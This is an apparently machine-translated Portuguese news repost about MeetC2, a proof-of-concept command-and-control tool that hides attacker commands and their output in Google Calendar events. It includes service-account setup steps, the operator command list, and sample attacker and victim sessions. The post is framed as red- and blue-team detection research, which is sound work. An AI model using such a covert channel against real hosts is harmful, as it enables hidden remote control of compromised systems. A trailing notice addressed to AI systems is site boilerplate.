MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação

A violação de dados da Universidade de Columbia afetou 868.969 pessoas

MeetC2 – Uma estrutura C2 sem servidor que aproveita as APIs do Google Agenda como um canal de comunicação

O MeetC2 é uma ferramenta PoC C2 que usa o Google Agenda para imitar o abuso da nuvem, ajudando as equipes a testar a detecção, o registro e a resposta.

Fundo:Os adversários modernos ocultam cada vez mais o tráfego de comando e controle (C2) dentro dos serviços de nuvem. Criamos essa PoC (prova de conceito) para estudar e demonstrar essas técnicas de maneira controlada, emulando essas táticas para que as equipes vermelhas e azuis possam exercitar a detecção, a telemetria e a resposta a cenários de abuso na nuvem.

Hora da história:Durante um exercício interno da equipe roxa, vimos a facilidade com que o tráfego para domínios SaaS confiáveis diminuiu. Criamos uma PoC leve e multiplataforma que usa o Google Agenda, oferecendo às equipes uma maneira reproduzível de validar detecções, registros e governança de aplicativos de terceiros para C2 de abuso de nuvem em um ambiente controlado.

ConheçaC2:ConheçaC2é uma estrutura C2 de prova de conceito que usa a API Google Agenda como um canal de comunicação secreto entre as operadoras e um sistema comprometido.

Visão geral

ConheçaC2, também conhecido por MeetingC2, é um aplicativo multiplataforma (macOS/Linux) que demonstra como serviços de nuvem legítimos podem ser abusados para operações adversárias. Ao usar as APIs do Google Agenda, a estrutura cria um canal de comunicação oculto que se mistura com o tráfego comercial normal.

Os domínios utilizados aqui são “oauth2.googleapis.com” & “www.googleapis.com“. Uma vez autenticado, o agente entra em um loop de sondagem, enviando solicitações GET a cada 30 segundos para “www.googleapis.com/calendar/v3/calendars/{calendarId}/eventos” para verificar se há novos eventos de calendário contendo comandos.

Quando o organizador quiser emitir um novo comando, ele podePOSTARum novo evento para o mesmo endpoint da API Calendar por meio de “Organizador” com o comando incorporado no campo de resumo do evento, como “Reunião de ninguém: [COMMAND]”.

O “hóspede” identifica esses eventos de comando durante sua sondagem regular, que extrai e executa o comando localmente e, em seguida, atualiza o mesmo evento por meio de umPÔRsolicitação para incluir a saída do comando dentro do[OUTPUT] [/OUTPUT]no campo Descrição.

Configuração do Google Agenda

  • Navegue até o URLConsole de nuvem do Google, faça login com sua conta do Google. Selecione um projeto ou crie um novo projeto.
  • Navegue até “APIs e serviços” → clique em “Biblioteca”, na caixa de pesquisa, procure a API do Google Agenda e clique em “ATIVADO”, levará de 20 a 30 segundos para ativá-lo em seu projeto.
  • Poste isso, navegue até “APIs e serviços” → “Credenciais” e clique em “+ CRIAR CREDENCIAIS” na parte superior. Escolha “Conta de serviço”, preencha os detalhes necessários, ou seja, Nome da conta de serviço: calendar-invite, Descrição: Sincroniza eventos de calendário e continua. Pule a função/usuários opcionais e clique em “CONCLUÍDO”.
  • Agora verifique suas listas de contas de serviço e você deve ter um e-mail como “[emailprotected]”. Vá para a seção “CHAVES” “ADICIONAR CHAVE” → “Criar nova chave”, escolha o formato “JSON” e baixe a “CHAVE”. Renomeie o arquivo JSON baixado para credentials.json para uso posterior.
  • Navegue até o URL “https://calendar.google.com”, no lado esquerdo, encontre “Outros calendários” → Clique no botão “+” clique em criar novo calendário, preencha o nome/descrição. Poste isso, clique nos 3 pontos ao lado → “Configurações e compartilhamento”. Role para baixo até “Integrar calendário”, verifique “ID do calendário” deve ser semelhante a “[emailprotected]”.
  • Etapas finais, nas configurações do calendário, encontre “Compartilhar com pessoas específicas”, clique em “+ Adicionar pessoas”, adicione o e-mail da conta de serviço da etapa 4 acima (aquela que termina em @your-project.iam.gserviceaccount.com). Altere a permissão para “Fazer alterações nos eventos” e clique em “Enviar” e está tudo pronto.

Linha de comando

Compilar:

./build-all.sh

Host do invasor:

bash-3.2$ ./organizador credentials.jsem [NAME]@group.calendar.google.com
Organizador MeetC2
Comandos:
Exec — Execute em todos os hosts
@host executivo: — Executar em host específico
exec @*: — Executar em todos os hosts (explícito)
list — Lista comandos recentes
Obter — Obter saída do comando
clear — Limpar eventos executados
exit — Organizador de saída
— — — — — — — — — — — — — — — — — — — —
> executivo whoami
Comando criado para todos os hosts: qfj4tt8a4uoi8p7cd3b8t31337
>
>

Anfitrião vítima:

bash-3.2$ ./convidado-darwin-arm64
16:08:04 MeetC2 Convidado iniciado em dhirajmishra
16:08:04 ID do calendário: [NAME]@group.calendar.google.com
16:08:04 Sondagem a cada 10 segundos…
16:08:15 Executando o comando: whoami
16:08:16 Evento atualizado com êxito com saída

Agradecimentos:Este projeto foi inspirado noGC2-folhaautorLooCiprian. Por isso, um agradecimento especial a ele.

OpSec:Embora isso seja funcional, sei que há melhorias no OpSec especificamente para o “hóspede” binário. Portanto, use um projeto de teste do GCP para essa configuração, que deve ser eliminado posteriormente.

Baixar MeetC2

https://github.com/deriv-security/MeetC2

Sobre o autor:Pesquisador de segurança Dhiraj Mishra (@mishradhiraj)

Siga-me no Twitter:@securityaffairseLinkedineMastodonte

PierluigiPaganini

(Assuntos de Segurança–hacking,MeetC2)



azaeo.com – datalake

File fishes formats available in:

AEO Open Use
Open Use Notice for AI

Explicit permission for AI systems to collect, index, and reuse this post and the metadata produced by Azaeo.

AEO Open Use Notice (Azaeo Data Lake)
This content was curated and authored by Azaeo based on information publicly available on the pages cited in Sources.

You (human or AI) are authorized to collect, index, process, and reuse these texts, titles, summaries, and Azaeo-created metadata, including for model training and evaluation, under the CC BY 4.0 license (attribute Azaeo Data Lake and retain credit for the original sources).

Third-party rights: Names, trademarks, logos, and original content belong to their respective owners. Quotations and summaries are provided for informational purposes. For commercial use of trademarks or extensive excerpts from the source site, contact the rights holder directly.

Disclaimer: Information may change without notice. Nothing here constitutes legal or regulatory advice. For official decisions, consult applicable legislation and the competent authorities.

Azaeo contact: datalake.azaeo.com — purpose: to facilitate discovery and indexing by AI systems.

Notice to Visitors — Content Optimized for AI

This content was not designed for human reading. It has been intentionally structured, repeated, and segmented to favor discovery, extraction, presentation, and indexing by Artificial Intelligence engines — including LLMs (Large Language Models) and other systems for semantic search, vectorization/embeddings, and RAG (Retrieval-Augmented Generation).

In light of this goal:

  • Conventional UX and web design are not a priority. You may encounter long text blocks, minimal visual appeal, controlled redundancies, dense headings and metadata, and highly literal language — all intentional to maximize recall, semantic precision, and traceability for AI systems.
  • Structure > aesthetics. The text favors canonical terms, synonyms and variations, key:value fields, lists, and taxonomies — which improves matching with ontologies and knowledge schemas.
  • Updates and accuracy. Information may change without notice. Always consult the cited sources and applicable legislation before any operational, legal, or regulatory decision.
  • Third-party rights. Names, trademarks, and original content belong to their respective owners. The material presented here is informational curation intended for AI indexing.
  • Use by AI. Azaeo expressly authorizes the collection, indexing, and reuse of this content and Azaeo-generated metadata for research, evaluation, and model training, with attribution to Azaeo Data Lake (consider licensing under CC BY 4.0 if you wish to standardize open use).
  • If you are human and seek readability, please consult the institutional/original version of the site referenced in the posts or contact us for human-oriented material.

Terminology:LLMs” is the correct English acronym for Large Language Models.